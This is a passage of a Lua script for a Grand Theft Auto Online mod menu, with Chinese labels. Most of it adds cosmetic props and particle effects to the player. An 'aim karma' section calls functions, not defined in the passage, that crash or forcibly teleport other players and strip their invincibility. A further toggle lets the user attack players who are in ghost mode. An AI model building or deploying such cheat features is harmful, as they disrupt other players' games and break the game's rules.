        attach_to_player(katana, 1, 0.0, 0, 1, 0, 90,90)
        attach_to_player(katana, 1, 1.0, 0, 0, -90, 0,0)
        attach_to_player(katana, 1, -1.0, 0, 0, 80, 90,95)
        attach_to_player(katana, 1, 2.0, 0, 0.2, -90, 0,0)
        attach_to_player(katana, 1, -2.0, 0, 0.2, 80, 90,95)
        attach_to_player(katana, 1, 1.0, 0, 0.4, -90, 0,0)
        attach_to_player(katana, 1, -1.0, 0, 0.4, 80, 90,95)
        attach_to_player(katana, 1, 1.5, 0, 0.6, -90, 0,0)
        attach_to_player(katana, 1, -1.5, 0, 0.6, 80, 90,95)
        attach_to_player(katana, 0, 0, -0.2, 0.5, 0, -150,0)
        attach_to_player(katana, 0, 0, -0.2, 0.5, 0, 150,0)
        attach_to_player(katana, 0, 0, -0.2, 0.5, 0, 180,0)
        attach_to_player(katana, 0, 0.23, 0, 0, 0, -180,100)
        attach_to_player(katana, 0, -0.23, 0, 0, 0, -180,100)
        local player_pos = players.get_position(players.user())
        request_ptfx_asset("scr_sum2_hal")
        GRAPHICS.USE_PARTICLE_FX_ASSET("scr_sum2_hal")
        GRAPHICS.START_NETWORKED_PARTICLE_FX_NON_LOOPED_AT_COORD(
            "scr_sum2_hal_rider_weak_orange", player_pos.x, player_pos.y, player_pos.z, 0, 0, 0, 2.5, false, false, false)
    else
        delete_object(katana)
    end
end)

GTTG(wushidao, "御盘术V2",{""}, "",function(on)
    wanjianguizong_2 = state
    local katana = "prop_cs_keyboard_01"
    if on then     
        attach_to_player(katana, 1, -0.3, 0, 0.8, 0, 90,90)
        attach_to_player(katana, 1, 0.3, 0, 0.8, 0, 90,90)
        attach_to_player(katana, 1, -0.5, 0, 0.5, 0, 90,90)
        attach_to_player(katana, 1, 0.5, 0, 0.5, 0, 90,90)
        attach_to_player(katana, 1, -0.8, 0, 0.8, 0, 90,90)
        attach_to_player(katana, 1, 0.8, 0, 0.8, 0, 90,90)
        attach_to_player(katana, 1, 0.0, 0, 1, 0, 90,90)
        attach_to_player(katana, 1, 1.0, 0, 0, -90, 0,0)
        attach_to_player(katana, 1, -1.0, 0, 0, 80, 90,95)
        attach_to_player(katana, 1, 2.0, 0, 0.2, -90, 0,0)
        attach_to_player(katana, 1, -2.0, 0, 0.2, 80, 90,95)
        attach_to_player(katana, 1, 1.0, 0, 0.4, -90, 0,0)
        attach_to_player(katana, 1, -1.0, 0, 0.4, 80, 90,95)
        attach_to_player(katana, 1, 1.5, 0, 0.6, -90, 0,0)
        attach_to_player(katana, 1, -1.5, 0, 0.6, 80, 90,95)
        attach_to_player(katana, 0, 0, -0.2, 0.5, 0, -150,0)
        attach_to_player(katana, 0, 0, -0.2, 0.5, 0, 150,0)
        attach_to_player(katana, 0, 0, -0.2, 0.5, 0, 180,0)
        attach_to_player(katana, 0, 0.23, 0, 0, 0, -180,100)
        attach_to_player(katana, 0, -0.23, 0, 0, 0, -180,100)
        local player_pos = players.get_position(players.user())
        request_ptfx_asset("scr_sum2_hal")
        GRAPHICS.USE_PARTICLE_FX_ASSET("scr_sum2_hal")
        GRAPHICS.START_NETWORKED_PARTICLE_FX_NON_LOOPED_AT_COORD(
            "scr_sum2_hal_rider_weak_blue", player_pos.x, player_pos.y, player_pos.z, 0, 0, 0, 2.5, false, false, false)
    else
        delete_object(katana)
    end
end)

GTTG(wushidao, "御盘术V3", {""}, "右键使用特效", function(state)
    wanjianguizong_2 = state
    local katana = "prop_cs_keyboard_01"
    if state then
        attach_to_player(katana, 1, -0.3, 0, 0.8, 0, 90,90)
        attach_to_player(katana, 1, 0.3, 0, 0.8, 0, 90,90)
        attach_to_player(katana, 1, -0.5, 0, 0.5, 0, 90,90)
        attach_to_player(katana, 1, 0.5, 0, 0.5, 0, 90,90)
        attach_to_player(katana, 1, -0.8, 0, 0.8, 0, 90,90)
        attach_to_player(katana, 1, 0.8, 0, 0.8, 0, 90,90)
        attach_to_player(katana, 1, 0.0, 0, 1, 0, 90,90)
        attach_to_player(katana, 1, 1.0, 0, 0, -90, 0,0)
        attach_to_player(katana, 1, -1.0, 0, 0, 80, 90,95)
        attach_to_player(katana, 1, 2.0, 0, 0.2, -90, 0,0)
        attach_to_player(katana, 1, -2.0, 0, 0.2, 80, 90,95)
        attach_to_player(katana, 1, 1.0, 0, 0.4, -90, 0,0)
        attach_to_player(katana, 1, -1.0, 0, 0.4, 80, 90,95)
        attach_to_player(katana, 1, 1.5, 0, 0.6, -90, 0,0)
        attach_to_player(katana, 1, -1.5, 0, 0.6, 80, 90,95)
        attach_to_player(katana, 0, 0, -0.2, 0.5, 0, -150,0)
        attach_to_player(katana, 0, 0, -0.2, 0.5, 0, 150,0)
        attach_to_player(katana, 0, 0, -0.2, 0.5, 0, 180,0)
        attach_to_player(katana, 0, 0.23, 0, 0, 0, -180,100)
        attach_to_player(katana, 0, -0.23, 0, 0, 0, -180,100)
        while wanjianguizong_2 do
            if util.is_key_down(0x02) then
                menu.trigger_commands("sforcefield on")
    local player_pos = players.get_position(players.user())
    request_ptfx_asset("scr_sum2_hal")
    GRAPHICS.USE_PARTICLE_FX_ASSET("scr_sum2_hal")
    GRAPHICS.START_NETWORKED_PARTICLE_FX_NON_LOOPED_AT_COORD(
        suijijianqi(jianqi), player_pos.x, player_pos.y, player_pos.z, 0, 0, 0, 2.5, false, false, false)
            else
                menu.trigger_commands("sforcefield off")
            end
            wait()
    end
    else
        delete_object(katana)
    end
end)
suijijianqi = function(x)
    local r = math.random(1,5)
    return x[r]
end
jianqi = {"scr_sum2_hal_hunted_respawn","scr_sum2_hal_rider_weak_blue","scr_sum2_hal_rider_weak_green","scr_sum2_hal_rider_weak_orange","scr_sum2_hal_rider_weak_greyblack"}
GTTG(wushidao, "御盘术V4", {""}, "", function(state)
    wanjianguizong_3 = state
    local katana = "prop_cs_keyboard_01"
    if state then
        attach_to_player(katana, 1, -0.3, 0, 0.8, 0, 90,90)
        attach_to_player(katana, 1, 0.3, 0, 0.8, 0, 90,90)
        attach_to_player(katana, 1, -0.5, 0, 0.5, 0, 90,90)
        attach_to_player(katana, 1, 0.5, 0, 0.5, 0, 90,90)
        attach_to_player(katana, 1, -0.8, 0, 0.8, 0, 90,90)
        attach_to_player(katana, 1, 0.8, 0, 0.8, 0, 90,90)
        attach_to_player(katana, 1, 0.0, 0, 1, 0, 90,90)
        attach_to_player(katana, 1, 1.0, 0, 0, -90, 0,0)
        attach_to_player(katana, 1, -1.0, 0, 0, 80, 90,95)
        attach_to_player(katana, 1, 2.0, 0, 0.2, -90, 0,0)
        attach_to_player(katana, 1, -2.0, 0, 0.2, 80, 90,95)
        attach_to_player(katana, 1, 1.0, 0, 0.4, -90, 0,0)
        attach_to_player(katana, 1, -1.0, 0, 0.4, 80, 90,95)
        attach_to_player(katana, 1, 1.5, 0, 0.6, -90, 0,0)
        attach_to_player(katana, 1, -1.5, 0, 0.6, 80, 90,95)
        attach_to_player(katana, 0, 0, -0.2, 0.5, 0, -150,0)
        attach_to_player(katana, 0, 0, -0.2, 0.5, 0, 150,0)
        attach_to_player(katana, 0, 0, -0.2, 0.5, 0, 180,0)
        attach_to_player(katana, 0, 0.23, 0, 0, 0, -180,100)
        attach_to_player(katana, 0, -0.23, 0, 0, 0, -180,100)
        while wanjianguizong_3 do
    local player_pos = players.get_position(players.user())
    request_ptfx_asset("scr_sum2_hal")
    GRAPHICS.USE_PARTICLE_FX_ASSET("scr_sum2_hal")
    GRAPHICS.START_NETWORKED_PARTICLE_FX_NON_LOOPED_AT_COORD(
        suijijianqi(jianqi), player_pos.x, player_pos.y, player_pos.z, 0, 0, 0, 2.5, false, false, false)
            wait(200)
    end
    else
        delete_object(katana)
    end
end)

GTTG(wushidao, "御剑术V1",{""}, "",function(on)
    local katana = "prop_cs_katana_01"
    if on then     
        attach_to_player(katana, 1, -0.3, 0, 0.8, 0, 90,90)
        attach_to_player(katana, 1, 0.3, 0, 0.8, 0, 90,90)
        attach_to_player(katana, 1, -0.5, 0, 0.5, 0, 90,90)
        attach_to_player(katana, 1, 0.5, 0, 0.5, 0, 90,90)
        attach_to_player(katana, 1, -0.8, 0, 0.8, 0, 90,90)
        attach_to_player(katana, 1, 0.8, 0, 0.8, 0, 90,90)
        attach_to_player(katana, 1, 0.0, 0, 1, 0, 90,90)
        attach_to_player(katana, 1, 1.0, 0, 0, -90, 0,0)
        attach_to_player(katana, 1, -1.0, 0, 0, 80, 90,95)
        attach_to_player(katana, 1, 2.0, 0, 0.2, -90, 0,0)
        attach_to_player(katana, 1, -2.0, 0, 0.2, 80, 90,95)
        attach_to_player(katana, 1, 1.0, 0, 0.4, -90, 0,0)
        attach_to_player(katana, 1, -1.0, 0, 0.4, 80, 90,95)
        attach_to_player(katana, 1, 1.5, 0, 0.6, -90, 0,0)
        attach_to_player(katana, 1, -1.5, 0, 0.6, 80, 90,95)
        attach_to_player(katana, 0, 0, -0.2, 0.5, 0, -150,0)
        attach_to_player(katana, 0, 0, -0.2, 0.5, 0, 150,0)
        attach_to_player(katana, 0, 0, -0.2, 0.5, 0, 180,0)
        attach_to_player(katana, 0, 0.23, 0, 0, 0, -180,100)
        attach_to_player(katana, 0, -0.23, 0, 0, 0, -180,100)
        local player_pos = players.get_position(players.user())
        request_ptfx_asset("scr_sum2_hal")
        GRAPHICS.USE_PARTICLE_FX_ASSET("scr_sum2_hal")
        GRAPHICS.START_NETWORKED_PARTICLE_FX_NON_LOOPED_AT_COORD(
            "scr_sum2_hal_rider_weak_orange", player_pos.x, player_pos.y, player_pos.z, 0, 0, 0, 2.5, false, false, false)
    else
        delete_object(katana)
    end
end)

GTTG(wushidao, "御剑术V2",{""}, "",function(on)
    wanjianguizong_2 = state
    local katana = "prop_cs_katana_01"
    if on then     
        attach_to_player(katana, 1, -0.3, 0, 0.8, 0, 90,90)
        attach_to_player(katana, 1, 0.3, 0, 0.8, 0, 90,90)
        attach_to_player(katana, 1, -0.5, 0, 0.5, 0, 90,90)
        attach_to_player(katana, 1, 0.5, 0, 0.5, 0, 90,90)
        attach_to_player(katana, 1, -0.8, 0, 0.8, 0, 90,90)
        attach_to_player(katana, 1, 0.8, 0, 0.8, 0, 90,90)
        attach_to_player(katana, 1, 0.0, 0, 1, 0, 90,90)
        attach_to_player(katana, 1, 1.0, 0, 0, -90, 0,0)
        attach_to_player(katana, 1, -1.0, 0, 0, 80, 90,95)
        attach_to_player(katana, 1, 2.0, 0, 0.2, -90, 0,0)
        attach_to_player(katana, 1, -2.0, 0, 0.2, 80, 90,95)
        attach_to_player(katana, 1, 1.0, 0, 0.4, -90, 0,0)
        attach_to_player(katana, 1, -1.0, 0, 0.4, 80, 90,95)
        attach_to_player(katana, 1, 1.5, 0, 0.6, -90, 0,0)
        attach_to_player(katana, 1, -1.5, 0, 0.6, 80, 90,95)
        attach_to_player(katana, 0, 0, -0.2, 0.5, 0, -150,0)
        attach_to_player(katana, 0, 0, -0.2, 0.5, 0, 150,0)
        attach_to_player(katana, 0, 0, -0.2, 0.5, 0, 180,0)
        attach_to_player(katana, 0, 0.23, 0, 0, 0, -180,100)
        attach_to_player(katana, 0, -0.23, 0, 0, 0, -180,100)
        local player_pos = players.get_position(players.user())
        request_ptfx_asset("scr_sum2_hal")
        GRAPHICS.USE_PARTICLE_FX_ASSET("scr_sum2_hal")
        GRAPHICS.START_NETWORKED_PARTICLE_FX_NON_LOOPED_AT_COORD(
            "scr_sum2_hal_rider_weak_blue", player_pos.x, player_pos.y, player_pos.z, 0, 0, 0, 2.5, false, false, false)
    else
        delete_object(katana)
    end
end)

GTTG(wushidao, "御剑术V3", {""}, "右键使用剑气", function(state)
    wanjianguizong_2 = state
    local katana = "prop_cs_katana_01"
    if state then
        attach_to_player(katana, 1, -0.3, 0, 0.8, 0, 90,90)
        attach_to_player(katana, 1, 0.3, 0, 0.8, 0, 90,90)
        attach_to_player(katana, 1, -0.5, 0, 0.5, 0, 90,90)
        attach_to_player(katana, 1, 0.5, 0, 0.5, 0, 90,90)
        attach_to_player(katana, 1, -0.8, 0, 0.8, 0, 90,90)
        attach_to_player(katana, 1, 0.8, 0, 0.8, 0, 90,90)
        attach_to_player(katana, 1, 0.0, 0, 1, 0, 90,90)
        attach_to_player(katana, 1, 1.0, 0, 0, -90, 0,0)
        attach_to_player(katana, 1, -1.0, 0, 0, 80, 90,95)
        attach_to_player(katana, 1, 2.0, 0, 0.2, -90, 0,0)
        attach_to_player(katana, 1, -2.0, 0, 0.2, 80, 90,95)
        attach_to_player(katana, 1, 1.0, 0, 0.4, -90, 0,0)
        attach_to_player(katana, 1, -1.0, 0, 0.4, 80, 90,95)
        attach_to_player(katana, 1, 1.5, 0, 0.6, -90, 0,0)
        attach_to_player(katana, 1, -1.5, 0, 0.6, 80, 90,95)
        attach_to_player(katana, 0, 0, -0.2, 0.5, 0, -150,0)
        attach_to_player(katana, 0, 0, -0.2, 0.5, 0, 150,0)
        attach_to_player(katana, 0, 0, -0.2, 0.5, 0, 180,0)
        attach_to_player(katana, 0, 0.23, 0, 0, 0, -180,100)
        attach_to_player(katana, 0, -0.23, 0, 0, 0, -180,100)
        while wanjianguizong_2 do
            if util.is_key_down(0x02) then
                menu.trigger_commands("sforcefield on")
    local player_pos = players.get_position(players.user())
    request_ptfx_asset("scr_sum2_hal")
    GRAPHICS.USE_PARTICLE_FX_ASSET("scr_sum2_hal")
    GRAPHICS.START_NETWORKED_PARTICLE_FX_NON_LOOPED_AT_COORD(
        suijijianqi(jianqi), player_pos.x, player_pos.y, player_pos.z, 0, 0, 0, 2.5, false, false, false)
            else
                menu.trigger_commands("sforcefield off")
            end
            wait()
    end
    else
        delete_object(katana)
    end
end)
suijijianqi = function(x)
    local r = math.random(1,5)
    return x[r]
end
jianqi = {"scr_sum2_hal_hunted_respawn","scr_sum2_hal_rider_weak_blue","scr_sum2_hal_rider_weak_green","scr_sum2_hal_rider_weak_orange","scr_sum2_hal_rider_weak_greyblack"}
GTTG(wushidao, "御剑术V4", {""}, "", function(state)
    wanjianguizong_3 = state
    local katana = "prop_cs_katana_01"
    if state then
        attach_to_player(katana, 1, -0.3, 0, 0.8, 0, 90,90)
        attach_to_player(katana, 1, 0.3, 0, 0.8, 0, 90,90)
        attach_to_player(katana, 1, -0.5, 0, 0.5, 0, 90,90)
        attach_to_player(katana, 1, 0.5, 0, 0.5, 0, 90,90)
        attach_to_player(katana, 1, -0.8, 0, 0.8, 0, 90,90)
        attach_to_player(katana, 1, 0.8, 0, 0.8, 0, 90,90)
        attach_to_player(katana, 1, 0.0, 0, 1, 0, 90,90)
        attach_to_player(katana, 1, 1.0, 0, 0, -90, 0,0)
        attach_to_player(katana, 1, -1.0, 0, 0, 80, 90,95)
        attach_to_player(katana, 1, 2.0, 0, 0.2, -90, 0,0)
        attach_to_player(katana, 1, -2.0, 0, 0.2, 80, 90,95)
        attach_to_player(katana, 1, 1.0, 0, 0.4, -90, 0,0)
        attach_to_player(katana, 1, -1.0, 0, 0.4, 80, 90,95)
        attach_to_player(katana, 1, 1.5, 0, 0.6, -90, 0,0)
        attach_to_player(katana, 1, -1.5, 0, 0.6, 80, 90,95)
        attach_to_player(katana, 0, 0, -0.2, 0.5, 0, -150,0)
        attach_to_player(katana, 0, 0, -0.2, 0.5, 0, 150,0)
        attach_to_player(katana, 0, 0, -0.2, 0.5, 0, 180,0)
        attach_to_player(katana, 0, 0.23, 0, 0, 0, -180,100)
        attach_to_player(katana, 0, -0.23, 0, 0, 0, -180,100)
        while wanjianguizong_3 do
    local player_pos = players.get_position(players.user())
    request_ptfx_asset("scr_sum2_hal")
    GRAPHICS.USE_PARTICLE_FX_ASSET("scr_sum2_hal")
    GRAPHICS.START_NETWORKED_PARTICLE_FX_NON_LOOPED_AT_COORD(
        suijijianqi(jianqi), player_pos.x, player_pos.y, player_pos.z, 0, 0, 0, 2.5, false, false, false)
            wait(200)
    end
    else
        delete_object(katana)
    end
end)

GTTG(sessionfun, "吉他",{""}, "",function(on)
    local guitar = "prop_acc_guitar_01"
    if on then     
        attach_to_player(guitar, 0, 0, -0.15, 0.25, 0, -50,0)
    else
        delete_object(guitar)
    end
end)

GTTG(chonglangban, "冲浪板1",{""}, "",function(on)
    local surf_board = "prop_surf_board_ldn_03"
    if on then     
        attach_to_player(surf_board, 0, 0, -0.2, 0.25, 0, -30,0)
    else
        delete_object(surf_board)
    end
end)

GTTG(chonglangban, "冲浪板2",{""}, "",function(on)
    local surf_board = "prop_surf_board_ldn_04"
    if on then     
        attach_to_player(surf_board, 0, 0, -0.2, 0.25, 0, -30,0)
    else
        delete_object(surf_board)
    end
end)

GTTG(chonglangban, "冲浪板3",{""}, "",function(on)
    local surf_board = "prop_surf_board_ldn_02"
    if on then     
        attach_to_player(surf_board, 0, 0, -0.2, 0.25, 0, -30,0)
    else
        delete_object(surf_board)
    end
end)

GTTG(chonglangban, "冲浪板4",{""}, "",function(on)
    local surf_board = "prop_surf_board_ldn_01"
    if on then     
        attach_to_player(surf_board, 0, 0, -0.2, 0.25, 0, -30,0)
    else
        delete_object(surf_board)
    end
end)

GTTG(chonglangban, "冲浪板5",{""}, "",function(on)
    local surf_board = "prop_kt1_10_mpdoor_l"
    if on then     
        attach_to_player(surf_board, 0, 0.5, -0.3, 0.5, 1, -30,0)
    else
        delete_object(surf_board)
    end
end)

GTTG(sessionfun, "电脑",{""}, "",function(on)
    local surf_board = "prop_laptop_01a"
    if on then     
        attach_to_player(surf_board, 2, 0, 0.5, -0.03, 1, 0,0)
    else
        delete_object(surf_board)
    end
end)

GTTG(sessionfun, "泳圈",{""}, "",function(on)
    local swimming_circle = "prop_beach_ring_01"
    if on then     
        attach_to_player(swimming_circle, 0, 0, 0, 0, 0, 0,0)
    else
        delete_object(swimming_circle)
    end
end)

GTLP(sessionfun, "镜子", {"mirror"}, "镜像人物视角", function()
    if WIRI_GRAPHICS.UI3DSCENE_IS_AVAILABLE() then
        if WIRI_GRAPHICS.UI3DSCENE_PUSH_PRESET("CELEBRATION_WINNER") then
            WIRI_GRAPHICS.UI3DSCENE_ASSIGN_PED_TO_SLOT("CELEBRATION_WINNER", players.user_ped(), 0, 0.0, 0.0, 0.0);
        end
    end
end)

GTLP(sessionfun, "NPC摇头", {"pedheadbang"}, "", function(on)
    yaoptou()
end)

local entity_held = 0
local are_hands_up = false
GTLP(sessionfun,"举起投掷车辆", {"throwcars"}, "在车辆附近按E,举起时按E进行投掷", function(on)
    if PAD.IS_CONTROL_JUST_RELEASED(38, 38) then
        if entity_held == 0 then
            if not are_hands_up then 
                local closest = get_closest_veh(ENTITY.GET_ENTITY_COORDS(players.user_ped()))
                local veh = closest[1]
                local dist = closest[2]
                if dist <= 5 then 
                    request_anim_dict("missminuteman_1ig_2")
                    TASK.TASK_PLAY_ANIM(players.user_ped(), "missminuteman_1ig_2", "handsup_enter", 8.0, 0.0, -1, 50, 0, false, false, false)
                    wait(500)
                    are_hands_up = true
                    ENTITY.SET_ENTITY_ALPHA(veh, 100)
                    ENTITY.SET_ENTITY_HEADING(veh, ENTITY.GET_ENTITY_HEADING(players.user_ped()))
                    ENTITY.ATTACH_ENTITY_TO_ENTITY(veh, players.user_ped(), 0, 0, 0, get_model_size(ENTITY.GET_ENTITY_MODEL(veh)).z / 2, 180, 180, -180, true, false, true, false, 0, true)
                    entity_held = veh
                end 
            else
                TASK.CLEAR_PED_TASKS_IMMEDIATELY(players.user_ped())
                are_hands_up = false
            end
        else
            if ENTITY.IS_ENTITY_A_VEHICLE(entity_held) then
                ENTITY.DETACH_ENTITY(entity_held)
                VEHICLE.SET_VEHICLE_FORWARD_SPEED(entity_held, 100.0)
                VEHICLE.SET_VEHICLE_OUT_OF_CONTROL(entity_held, true, true)
                ENTITY.SET_ENTITY_ALPHA(entity_held, 255)
                TASK.CLEAR_PED_TASKS_IMMEDIATELY(players.user_ped())
                ENTITY.FREEZE_ENTITY_POSITION(players.user_ped(), true)
                ENTITY.SET_ENTITY_NO_COLLISION_ENTITY(entity_held, players.user_ped(), false)
                request_anim_dict("melee@unarmed@streamed_core")
                TASK.TASK_PLAY_ANIM(players.user_ped(), "melee@unarmed@streamed_core", "heavy_punch_a", 8.0, 8.0, -1, 0, 0.3, false, false, false)
                wait(500)
                ENTITY.FREEZE_ENTITY_POSITION(players.user_ped(), false)
                entity_held = 0
                are_hands_up = false
            end
        end
    end
end)

local ped_held = 0
GTLP(sessionfun,"举起投掷NPC", {"throwpeds"}, "在NPC附近按E,举起时按E进行投掷", function(on)
    if PAD.IS_CONTROL_JUST_RELEASED(38, 38) then
        if entity_held == 0 then
            if not are_hands_up then 
                local closest = get_closest_ped(ENTITY.GET_ENTITY_COORDS(players.user_ped()))
                local ped = closest[1]
                local dist = closest[2]
                if dist <= 5 then 
                    request_anim_dict("missminuteman_1ig_2")
                    TASK.TASK_PLAY_ANIM(players.user_ped(), "missminuteman_1ig_2", "handsup_enter", 8.0, 0.0, -1, 50, 0, false, false, false)
                    wait(500)
                    are_hands_up = true
                    ENTITY.SET_ENTITY_ALPHA(ped, 100)
                    ENTITY.SET_ENTITY_HEADING(ped, ENTITY.GET_ENTITY_HEADING(players.user_ped()))
                    ENTITY.ATTACH_ENTITY_TO_ENTITY(ped, players.user_ped(), 0, 0, 0, 1.3, 180, 180, -180, true, false, true, true, 0, true)
                    entity_held = ped
                end 
            else
                TASK.CLEAR_PED_TASKS_IMMEDIATELY(players.user_ped())
                are_hands_up = false
            end
        else
            if ENTITY.IS_ENTITY_A_PED(entity_held) then
                ENTITY.DETACH_ENTITY(entity_held)
                ENTITY.SET_ENTITY_ALPHA(entity_held, 255)
                PED.SET_PED_TO_RAGDOLL(entity_held, 10, 10, 0, false, false, false)
                ENTITY.SET_ENTITY_MAX_SPEED(entity_held, 100.0)
                ENTITY.APPLY_FORCE_TO_ENTITY(entity_held, 1, 0, 100, 0, 0, 0, 0, 0, true, false, true, false, false)
                AUDIO.PLAY_PAIN(entity_held, 7, 0, 0)
                TASK.CLEAR_PED_TASKS_IMMEDIATELY(players.user_ped())
                ENTITY.FREEZE_ENTITY_POSITION(players.user_ped(), true)
                ENTITY.SET_ENTITY_NO_COLLISION_ENTITY(entity_held, players.user_ped(), false)
                request_anim_dict("melee@unarmed@streamed_core")
                TASK.TASK_PLAY_ANIM(players.user_ped(), "melee@unarmed@streamed_core", "heavy_punch_a", 8.0, 8.0, -1, 0, 0.3, false, false, false)
                wait(500)
                ENTITY.FREEZE_ENTITY_POSITION(players.user_ped(), false)
                entity_held = 0
                are_hands_up = false
            end
        end
    end
end)

randomizer = function(x)
    local r = math.random(1,3)
    return x[r]
end

array = {"1","1","2"}

GTAC(sessionfun,"生成恶灵摩托" ,{""}, "每次生成不一样的颜色", function(on)
  car = CreateVehicle(1491277511, ENTITY.GET_ENTITY_COORDS(players.user_ped(),false),0,true)
  local titlle = "scr_martin1"
  WIRI.USE_PARTICLE_FX_ASSET(titlle)
  while not STREAMING.HAS_NAMED_PTFX_ASSET_LOADED(titlle) do
    STREAMING.REQUEST_NAMED_PTFX_ASSET(titlle)
    wait(0)
  end
end)

    GTTG(sessionfun,"恶灵骑士" ,{""}, "还原动漫", function(on)
        if on then 
            elqes()
            menu.trigger_commands("cjfireman on")
            menu.trigger_commands("footfire "..PLAYER.GET_PLAYER_NAME(players.user()).." on")
        else
            entities.delete_by_handle(vehicleelqs)
            menu.trigger_commands("cjfireman off")
            menu.trigger_commands("footfire "..PLAYER.GET_PLAYER_NAME(players.user()).." off")
        end

end)

weaponback = off
GTTG(sessionfun, "背藏武器", {}, "长按Tab选择武器后切回拳头", function(on)
    local pos = ENTITY.GET_ENTITY_COORDS(PLAYER.PLAYER_PED_ID())
	weaponback = on
	if weaponback then
		spawnweapon = 0
	end
	curweap = CCCC_HUD._HUD_WEAPON_WHEEL_GET_SELECTED_HASH(plyped())
	if not (HUD._HUD_WEAPON_WHEEL_GET_SELECTED_HASH(plyped()) == -1569615261) and weaponback then
		spawnweapon = WEAPON.CREATE_WEAPON_OBJECT(curweap, 1, pos.x, pos.y, pos.z, true, 1, 0)
		attachweapon(spawnweapon)
	end
	while weaponback do
		if (WEAPON.GET_CURRENT_PED_WEAPON_ENTITY_INDEX(plyped()) == 0) then
			if not (spawnweapon == 0) then
				ENTITY.SET_ENTITY_VISIBLE(spawnweapon, true, false)
			end
		else
			ENTITY.SET_ENTITY_VISIBLE(spawnweapon, false, false)
		end
		if not (HUD._HUD_WEAPON_WHEEL_GET_SELECTED_HASH(plyped()) == curweap) and not (HUD._HUD_WEAPON_WHEEL_GET_SELECTED_HASH(plyped()) == -1569615261) then
			if not (spawnweapon == 0) then
				entities.delete_by_handle(spawnweapon)
			end
			curweap = HUD._HUD_WEAPON_WHEEL_GET_SELECTED_HASH(plyped())
			requestweapon(curweap)
			spawnweapon = WEAPON.CREATE_WEAPON_OBJECT(curweap, 1, pos.x, pos.y, pos.z, true, 1, 0)
			if (WEAPON.GET_CURRENT_PED_WEAPON_ENTITY_INDEX(plyped()) == 0) then
				ENTITY.SET_ENTITY_VISIBLE(spawnweapon, true, false)
			else
				ENTITY.SET_ENTITY_VISIBLE(spawnweapon, false, false)
			end
			attachweapon(spawnweapon)
		end
		wait()
	end
	entities.delete_by_handle(spawnweapon)
end)

GTLP(sessionfun, "上帝之指", {"godfinger"}, "按B瞄准对象后使用滑鼠移动\n瞄准对象可以是玩家/Ped/载具/实体,对大部分菜单无效", function()
    godfinger()
end)

GTLuaScript.slider(selflist, '透明人物', {'JSghost'}, '修改您人物的不透明度', 0, 100, 100, 25, function(value)
    ENTITY.SET_ENTITY_ALPHA(players.user_ped(), JS_tbls.alphaPoints[value / 25 + 1], false)
end)

GTLP(selflist, "幽灵攻击", {}, "在幽灵模式下允许攻击玩家", function()
    for _, pid in ipairs(players.list(false, true, true)) do
        if PLAYER.IS_PLAYER_FREE_AIMING(pid) then
            NETWORK.SET_REMOTE_PLAYER_AS_GHOST(pid, true)
        else 
            NETWORK.SET_REMOTE_PLAYER_AS_GHOST(pid, false)
        end
    end
end)

GTTG(selflist, "消除热成像", {}, "让玩家无法用正常的热成像看到您", function(toggle)
    if toggle then
        PED.SET_PED_HEATSCALE_OVERRIDE(players.user_ped(), 0)
    else
        PED.SET_PED_HEATSCALE_OVERRIDE(players.user_ped(), 1)
    end
end)

--[[GTTG(selflist, '冷血', {'JScoldBlooded'}, '移除您的热信号.\n其他人仍然可以看到它.', function(toggle)
    PED.SET_PED_HEATSCALE_OVERRIDE(players.user_ped(), (toggle and 0 or 1))
end)]]

GTLP(aimkarma, '发送脚本事件崩溃', {''}, '崩溃瞄准您的玩家', function()
    sendscriptcrash()
end)

GTLP(aimkarma, '传送海滩', {''}, '强制传送瞄准您的玩家', function()
    sendgobreach()
end)

GTLP(aimkarma, '无差别崩', {''}, '如果您被瞄准将崩溃全局玩家', function()
    sendallplayercrash()
end)

GTLP(aimkarma, '射击', {'JSbulletAimKarma'}, '射击瞄准您的玩家', function()
    bulletaimkarma()
end)

GTLP(aimkarma, '爆炸', {'JSexpAimKarma'}, '爆炸瞄准您的玩家', function()
    expaimkarma()
end)

GTLP(aimkarma, '禁用无敌', {'JSgodAimKarma'}, '如果有人瞄准您将强制他们的游戏画面来禁用他们的无敌模式(对大部分菜单无效)', function()
    godaimkarma()
end)

GTAC(aimkarma, 'Stand玩家瞄准惩罚', {}, '连接到Stand的玩家瞄准惩罚', function()
    menu.focus(menu.ref_by_path('World>Inhabitants>Player Aim Punishments>Anonymous Explosion', 37))
end)

GTTG(selflist, '无声脚步', {'JSquietSteps'}, '禁用您的脚步声', function(toggle)
    AUDIO._SET_PED_AUDIO_FOOTSTEP_LOUD(players.user_ped(), not toggle)
end)

GTTG(sessionfun, "雪人",{""}, "伪装成雪人",function(on)
    snowpeople(on)
end)

GTTG(sessionfun, "死坤",{""}, "伪装成死神",function(on)
    ikunjix3(on)
end)

GTTG(sessionfun, "炸弹人",{""}, "伪装成炸弹",function(on)
    huoqujia(on)
end)

GTTG(huorentexiao, "火人", {"fireman"}, "", function(on)
    firepersonl(on)
end)

GTTG(huorentexiao, "火人V2",{""}, "",function(state)
    if state then
        for _, boneId in ipairs(bones) do
        request_ptfx_asset("core")
        GRAPHICS.USE_PARTICLE_FX_ASSET("core")
        GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY_BONE("fire_wrecked_truck", players.user_ped(), 0, 0, 0, 0, 0 , 0,PED.GET_PED_BONE_INDEX(players.user_ped(), boneId), 2, false, false, false, 0, 0, 0, 0)
        end
    else
        GRAPHICS.REMOVE_PARTICLE_FX_FROM_ENTITY(players.user_ped())
    end
end)

GTTG(huorentexiao, "火人V3",{""}, "",function(toggle)
fireWingsSettingse.on = toggle
if fireWingsSettingse.on then
ENTITY.SET_ENTITY_PROOFS(players.user_ped(), false, true, false, false, false, false, 1, false)
if ptfxEgg == nil then
local eggHash = 1803116220
loadModel(eggHash)
ptfxEgg = entities.create_object(eggHash, ENTITY.GET_ENTITY_COORDS(players.user_ped()))
ENTITY.SET_ENTITY_COLLISION(ptfxEgg, false, false)
STREAMING.SET_MODEL_AS_NO_LONGER_NEEDED(eggHash)
end
for i = 1, #fireWingse do
while not STREAMING.HAS_NAMED_PTFX_ASSET_LOADED('scr_xs_props') do
STREAMING.REQUEST_NAMED_PTFX_ASSET('scr_xs_props')
wait()
end
GRAPHICS.USE_PARTICLE_FX_ASSET('scr_xs_props')
fireWingse[i].ptfx = GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY('scr_xs_oil_jack_fire', ptfxEgg, 0, 0, 0.1, fireWingse[i].pos[1], 0, fireWingse[i].pos[2], fireWingsSettingse.scalee, false, false, false)
util.create_tick_handler(function()
